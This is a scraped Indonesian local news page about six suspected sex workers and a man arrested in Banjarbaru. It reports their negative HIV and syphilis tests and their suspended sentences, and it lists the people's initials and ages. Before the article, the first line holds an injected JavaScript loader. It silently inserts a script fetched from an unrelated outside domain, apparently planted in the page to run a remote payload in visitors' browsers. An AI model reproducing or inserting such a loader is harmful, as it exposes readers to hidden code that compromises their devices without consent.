(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Pasca ditangkap, 6 Pekerja Seks Komersial (PSK) dan seorang pria berumur oleh Satpol PP Kota Banjarbaru, Selasa (15/10) kemarin, ketujuh orang ini harus menjalani pemeriksaan HIV.
Pemeriksaan dilakukan Dinas Kesehatan Kota Banjarbaru melalui Puskesmas Landasan Ulin Timur, Kamis (17/10). Mereka diambil sampel darahnya untuk dipastikan positif atau tidaknya mengidap HIV.
Koordinator program Pengendalian Penyakit Menular (P2M) Puskesmas Landasan Ulin Timur, Andy Sasmita SKep mengatakan, selain melakukan uji hasil cek darah HIV, pihaknya juga melakukan pemeriksaan penyakit sifilis.
“Berdasarkan hasil pemeriksaan terhadap 6 orang PSK dan 1 orang pria, hasilnya tidak ada yang reaktif (tidak ditemukan yang terindikasi penyakit HIV dan sifilis),†katanya kepada Kanalkalimantan.com.
Setelah dipastikan tidak mengidap penyakit HIV dan sifilis, ketujuh orang ini pun menjalani sidang Tindak Pidana Ringan (Tipiring) di Pengadilan Negeri Banjarbaru.
Baca: 6 Terduga PSK Terjaring di Pembatuan, Satu Pria Berumur Dibawa Satpol PP
Kasatpol PP Banjarbaru Marhain Rahman, melalui PPNS Seksi Opsdal, Yanto Hidayat menerangkan bahwa majelis hakim telah memvonis bersalah ketujuh orang ini dengan dua sanksi yang berbeda.
“Lima PSK divonis kurungan 3 bulan dengan masa percobaan 1 tahun. Sedangkan satu PSK dan satu pria divonis 3 bulan dengan masa percobaan 1 tahun,†katanya.
Sebelumnya, ketujuh orang diamankan petugas di eks lokalisasi Pembatuan, jalan Kenanga, Kecamatan Landasan Ulin, Banjarbaru. Saat dilakukan penyergapan, petugas mendapati satu pasangan tengah melakukan hubungan suami istri di salah satu bilik kamar di eks lokalisasi Pembatuan. Pasangan yang bukan suami istri ini hanya bisa tertunduk malu saat diciduk petugas. Keduanya tidak bisa mengelak.
Adapun ke enam PSK yang berhasil diamankan, yakni SY (39), ES (33), EF (35), RS (39), SW (54), HW (41). Selain itu, satu orang laki-laki hidung belang berinisial JM (61) juga turut diamankan petugas bersama barang bukti. (rico)
KANALKALIMANTAN.COM, CILEGON - Wakil Menteri (Wamen) Badan Usaha Milik Negara (BUMN) Aminuddin Ma’ruf memastikan sistem… Read More
KANALKALIMANTAN.COM, PARINGIN - Desa Balida, Kecamatan Paringin untuk kali ketiga mengelar gebyar desa. Acara bertajuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Destinasi wahana mandi busa pertama hadir di Kota Banjarbaru menjadi pilihan warga… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Momentum Natal dan Tahun Baru 2025, Kesatuan Aksi Mahasiswa Muslim Indonesia (KAMMI)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Srikandi PLN Unit Induk Penyaluran dan Pusat Pengatur Beban Kalimantan bersama dengan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More
This website uses cookies.